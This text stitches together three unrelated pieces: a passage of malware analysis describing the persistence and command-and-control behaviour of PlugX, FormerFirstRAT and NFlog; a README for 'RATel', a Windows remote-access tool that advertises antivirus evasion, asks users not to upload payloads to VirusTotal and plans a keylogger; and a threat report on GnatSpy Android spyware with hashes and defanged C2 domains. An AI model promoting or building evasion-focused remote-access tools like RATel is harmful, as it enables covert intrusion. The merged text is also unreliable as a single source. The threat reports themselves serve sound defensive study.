The malware will copy itself to the %TEMP% directory with the executable name of 'notilv.exe'. Due to the previously written registry key, this file will execute when the machine is restarted and the current user logs in.
The malware then makes another request to the server. The response data is decrypted using the RC4 cryptographic stream cipher. The remote server can send a number of different responses, including instructions to download or upload files, execute commands, and exfiltrate victim information.
### PlugX
PlugX is a backdoor that is often used by actors in targeted attacks. This version of PlugX attempts to disguise itself as a Symantec product. Upon execution, the malware will install itself as a service with specific parameters and may also set a registry key for persistence.
### FormerFirstRAT
This remote administration tool (RAT) is referred to as “FormerFirstRAT” by its authors. It communicates using unencrypted HTTP over port 443. When the malware starts, it writes a registry key to ensure persistence. The malware then sends an HTTP POST request with information about the victim system, including the victim's IP address, username, administrative privileges, and other details.
The malware encrypts network communication using the AES128 encryption cipher. It uses the MD5 of 'tucwatkins' to generate the key. The malware enters a loop where it will send out periodic requests to the remote server, which can respond and provide instructions to the RAT.
### NFlog
When loaded inside of a running process, NFlog begins by spawning a new thread responsible for all malicious activities. The malware sets a registry key to ensure persistence across reboots. It also attempts to ensure Internet connectivity by making a request to a well-known website. |
# RATel
**Language:** Python3, C++, SQL
**Version:** Beta
**License:** MIT
**Commit Activity:** 0/month
**Stars:** 224
**Visitor:** 24224
**Please do not upload to virustotal!**
To prevent RATel from being detected by antivirus, please do not upload the payload to TOTAL VIRUS. Each month I will test myself if the payload gets detected by antivirus. So you’ll have a photo every month to prove RATel discretion.
## Description
RATel is an open source penetration test tool that allows you to take control of a Windows machine. It works on the client-server model, where the server sends commands and the client executes the commands and sends the result back to the server. The client is completely undetectable by anti-virus software.
## Added Features
- Unicode management (20.02.21) for the version: beta_v0.1
## Features
### RATelServer:
- Multiple Connections
- Broadcast commands to all clients
- Stores client information in the database
- Encryption of data on the network via XOR
- Token management system to identify clients
- Unicode management
### Client:
- Encryption of data sent over the network
- Startup persistence
- Remote command execution via CMD
- Remote command execution via PowerShell
- Encryption of data on the network via XOR
- Automatic persistence when running the client
- Automatic reconnection
- Unicode management
### RATelGenerator:
- Automatic client compilation
## Documentation
- Installations:
- Windows Installation
- Linux Installation
- RATelServer:
- Arguments RATelServer
- Usage RATelServer
- RATelGenerator
- Simple usage
- Advanced usage:
- Demonstration video
## Future Features
- Keylogger for the version: beta_v0.2
## Motivation
I decided to create this project to improve my C++ skills, to learn new notions I didn't know, and to learn English. I intend to maintain and improve the project continuously by adding new features.
## Information
If you are interested in the development of my RATel project and would like to contribute to it, please contact me by email (juanrubio.dev@gmail.com). If you have any ideas for features, code improvements, or bugs, you can leave me an issue.
## Disclaimer
The use of this software on any device that is not yours is prohibited. If you use RATel on a machine that does not belong to you, I will in no way be responsible for your actions. |
# New GnatSpy Mobile Malware Family Discovered
**December 18, 2017**
We came across a new mobile malware family which we have called GnatSpy. We believe that this is a new variant of VAMP, indicating that the threat actors behind APT-C-23 are still active.
Earlier this year, researchers first disclosed a targeted attack campaign targeting various sectors in the Middle East. This threat actor was called Two-tailed Scorpion/APT-C-23. Later on, a mobile component called VAMP was found, with a new variant (dubbed FrozenCell) discovered in October. (We detect these malicious apps as ANDROIDOS_STEALERC32).
VAMP targeted various types of data from the phones of victims: images, text messages, contacts, and call history, among others. Dozens of command-and-control (C&C) domains and samples were found, which were soon disabled or detected.
Recently, Trend Micro researchers came across a new mobile malware family which we have called GnatSpy. We believe that this is a new variant of VAMP, indicating that the threat actors behind APT-C-23 are still active and continuously improving their product. Some C&C domains from VAMP were reused in newer GnatSpy variants, indicating that these attacks are connected. We detect this new family as ANDROIDOS_GNATSPY.
We do not know for sure how these files were distributed to users. It is possible that threat actors sent them directly for users to download and install on their devices. They had names like “Android Setting” or “Facebook Update” to make users believe they were legitimate. We have not detected significant numbers of these apps in the wild, indicating their use is probably limited to specific targeted groups or individuals.
## New capabilities of GnatSpy
The capabilities of GnatSpy are similar to early versions of VAMP. However, there have been some changes in its behavior that highlight the increasing sophistication of this particular threat actor.
The structure of the new GnatSpy variants is very different from previous variants. More receivers and services have been added, making this malware more capable and modular. We believe this indicates that GnatSpy was designed by someone with more knowledge in good software design practices compared to previous authors.
The new code also makes much more use of Java annotations and reflection methods. We believe that this was done to evade attempts to detect these apps as malicious.
### C&C servers
Earlier versions of VAMP contained the C&C server used in simple plain text, making detection by static analysis tools an almost trivial affair. GnatSpy has changed this. The server is still hardcoded in the malicious app’s code, but is now encoded to evade easy detection. A function call is in the code to obtain the actual C&C URL. The URL hardcoded in the malware is not the final C&C server, however. Accessing the above URL merely sends back the location of the actual C&C server.
The WHOIS information of the C&C domains used now uses domain privacy to conceal the registrant's contact information. It’s also worth noting that some of these C&C domains are newly registered, highlighting that these attackers are still active even though their activities have been reported.
The domain names used are also curiously named. They used names of persons, but while some names appear to be those of real persons (or plausibly real names), others appear to have been directly taken from various television shows. The rationale for using these names remains unclear.
The version of Apache used has also been updated, from 2.4.7 to 2.4.18. All domains now forbid directory indexing; in at least one earlier C&C domain this was left enabled. We note here that two of the C&C domains we encountered - specifically, cecilia-gilbert[.]com and lagertha-lothbrok[.]info - were also reported to be connected to VAMP and FrozenCell, respectively. This indicates that the threat actors behind GnatSpy are likely to be connected to these previous attacks as well.
### Increased compatibility and stolen information
Earlier samples called the System Manager on Huawei devices to grant permissions to itself. A similar line was added for Xiaomi devices. GnatSpy also includes several function calls targeting newer Android versions (Marshmallow and Nougat). More information about the device is stolen as well, including information about the battery, memory and storage usage, and SIM card status. Curiously, while previous samples collected information about the user’s location via OpenCellID, this is no longer done by GnatSpy.
## Conclusion
Threat actors can be remarkably persistent even if their activities have been exposed and documented by researchers. This appears to be the case here. The threat actors behind GnatSpy are not only continuing their illicit activities, but they are also improving the technical capabilities of their malware.
Trend Micro™ Mobile Security for Android™ detects these malicious apps. End users and enterprises can also benefit from its multilayered security capabilities that secure the device’s data and privacy, and safeguard them from ransomware, fraudulent websites, and identity theft.
For organizations, Trend Micro™ Mobile Security for Enterprise provides device, compliance and application management, data protection, and configuration provisioning, as well as protects devices from attacks that leverage vulnerabilities, preventing unauthorized access to apps, as well as detecting and blocking malware and fraudulent websites.
Trend Micro’s Mobile App Reputation Service (MARS) covers Android and iOS threats using leading sandbox and machine learning technologies. It can protect users against malware, zero-day and known exploits, privacy leaks, and application vulnerability.
## Indicators of Compromise
Apps/files with the following hashes are connected to GnatSpy:
| SHA256 | Package Name | Label |
|--------|--------------|-------|
| 14c846939641eb575f78fc8f1ecb2dc76979a5e08366e1809be24fad240f6ad6 | com.app.voice | Voice |
| 1b1bff4127c9f868f14bc8f2526358cfc9ff1259b7069ab116e7c52e43f2c669 | com.messenger.hike | Android Setting |
| 1c0e3895f264ac51e185045aa2bf38102da5b340eb3c3c3f6aacb7476c294d62 | com.app.updates | Messenger Update |
| 22078e0d00d6a0f0441b3777e6a418170e3a9e4cce8141f0da8af044fdc1e266 | com.myapps.update | Facebook Update |
| 232807513c2d3e97bfcc64372d360bd9f7b6b782bd4083e91f09f2882818c0c5 | com.myapps.update | WhatsApp Update |
| 313ae27ec66e533f7224d99c1a0c254272818d031456359d3dc85f02f21fd992 | com.app.go | Android Setting |
| 377716c6a2b73c94d3307e9f2ea1a5b3774fa42df452c0867e7384eb45422e4f | com.apps.voice | Android Setting |
| 3c604f5150ea1af994e7411e2816c277ff4f8a02b94d50b6cf4cc951430414bf | com.appdev.update | Android System |
| 4842cff6fc7a7a413ceed132f735eee3121ffb03f98453dae966f900e341dd52 | com.updates.voice | VoiceChat |
| 4e681d242bebf64bbba3f0da91ad109dd14f26e97cd62f306e9fca1603a0009e | com.app.lets | Android Setting |
| 544a1c303ef021f0d54e62a6147c7ae9cd0c84265e302f6da5ed08b616e45b78 | com.myapps.update | Facebook Update |
| 566385bff532d1eb26b49363b8d91ed6881f860ffa4b5ddb2bb5fe068bb6c87e | com.app.lets | Android Setting |
| 58ddd057ec7f2420ce94cf3fc52794d0f62603ca7eaf8c5911f55b8b100ac493 | com.chatts.me | Chat Me |
| 5de5b948aeca6e0811f9625dec48601133913c24e419ce99f75596cb04503141 | com.fakebook | App System Installer |
| 6b0325b7020f203d38664be732145c5f9f95fda875c81d136b031618900210a4 | com.myapps.update | Messenger Update |
| 6befd9dac5286f72516bba531371dc7769d9efecf56c8a44ce0c8de164662c6b | com.app.go | Android Setting |
| 76962d334b894349a512d8e533c8373b71389f1d20fd814cd8e7ecc89ed8530a | com.messenger.hike | Android Setting |
| 8da31d3102524d6a2906d1ffa1118edf39cf54d72456937bfbae5546e09a3c32 | com.app.go | Android Setting |
| 91b3eeb8ba6853cab5f2669267cf9bccdba389149cc8b2c32656af62bd016b04 | com.facebookupdate | Facebook Update |
| 93da08ced346b9958e34bda4fe41062572253472c762a3a837e0dd368fffec8b | com.fakebook | Android Settings |
| a841b71431e19df7e925d10a6e43a965fc68ccbb6523b447de82c516cfba93a8 | com.app.lets | Android Setting |
| af65aac4f3cf13c88422675b5261acc6c7b5d0af75323a516989a75b0374eddd | com.app.chat | Chat |
| b6326e17ec8307edf63e731c635fbfa8469d9264cb414592e2d2a5c71093d809 | com.apps.voice | Android Setting |
| b7007d2039abaf8b8b0db77241d400a8c4d3b48c6fece5d80dc69905d4d272c3 | com.apps.voice | Android Setting |
| c20438ba8c9e008c1e2eb4343f177757fc260437aeac52df61b156671b07ac14 | com.myapps.update | Facebook Update |
| ca8d892a616feaf240bd9e05a250db8ed4d56b7db6348bbaa415dec1e0c626f3 | com.app.voice | VoiceChat |
| ce4190030372465eceec60ec1687023c99f95a11b9a558f5431074de20747b81 | com.app.update | WhatsApp Update |
| d17308fb06760de1b06d03448a01f3762f2712c1a66b50c8d5f4ac061d6deb27 | com.apps.lets | Android Setting |
| e2cb9140c47492e7931e0b6629caf5c03cbc4e7a28c7976a28e3158b5d1c67fb | com.app.chatous | Android Setting |
| ebc338f3988e96e9fab53854428ea91dbabd3ee9875464008eafd52c687c3625 | com.chat.bestchat | Best Chat |
| ec1ed9b064ffbd237e1808d4e156d011b8b77402042b7a6fee92923b69ba65d4 | com.app.lets | Android Setting |
| efc4a2014f73996fb5d90406a55aa14ac89407fd03cfc89d18ee3251d9fd1af8 | com.chat.bestchat | Best Chat |
| f890ba41f6d7d2f2fb4da477adc975be7a3b8068686ff5e863d1a53e56acdfac | com.facebook.update | Facebook Update |
The following domains were used by various C&C servers:
- aryastark[.]info
- cecilia-gilbert[.]com
- cerseilannister[.]info
- claire-browne[.]info
- daario-naharis[.]info
- harvey-ross[.]info
- jorah-mormont[.]info
- kaniel-outis[.]info
- kristy-milligan[.]website
- lagertha-lothbrok[.]info
- max-eleanor[.]info
- olivia-hartman[.]info
- ragnar-lothbrok[.]info
- rose-sturat[.]info
- saratancredi[.]info
- useraccount[.]website
- victor-stewart[.]info |